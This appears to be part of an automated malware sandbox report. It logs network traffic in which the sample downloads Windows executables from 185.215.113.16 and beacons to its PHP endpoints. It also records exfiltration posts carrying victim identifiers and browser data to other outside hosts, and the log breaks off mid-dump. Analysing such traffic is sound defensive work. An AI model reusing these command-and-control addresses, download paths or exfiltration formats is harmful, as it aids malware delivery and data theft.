00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 04:03:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:03:59 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:04:12 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 02:58:24 GMTConnection: keep-aliveETag: "6722f250-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 f2 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 12 c3 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:04:17 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:04:38 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 44 41 45 34 35 43 46 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FDAE45CFFAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: GET /inc/Final.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 33 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001312001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /line?fields=query,country HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /sendData?pk=MDhCREMyMTRGMDQ3ODIxQUI0NDJDRjRDQ0IzMEMxMUQ=&ta=U29mdHdhcmU=&un=YWxmb25z&pc=NjQ4MzUx&co=VW5pdGVkIFN0YXRlcw==&wa=MA==&be=MA== HTTP/1.1Host: 41.216.183.9:8080Content-Length: 149003Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001349001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 37 45 38 35 31 31 31 35 36 41 32 31 37 36 32 31 38 33 38 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="hwid"2C7E8511156A2176218386------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="build"tale------KJKEHIIJJECFHJKECFHD--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 33 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001350001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"270b5127ab4ef57dc2bc03e763cb69e494900a8c490bdddea5e1cb7725ec963fb3398fd6------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="message"browsers------AEGHJEGIEBFIJJKFIIIJ--
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 30 62 35 31 32 37 61 62 34 65 66 35 37 64 63 32 62 63 30 33 65 37 36 33 63 62 36 39 65 34 39 34 39 30 30 61 38 63 34 39 30 62 64 64 64 65 61 35 65 31 63 62 37 37 32 35 65 63 39 36 33 66 62 33 33 39 38 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 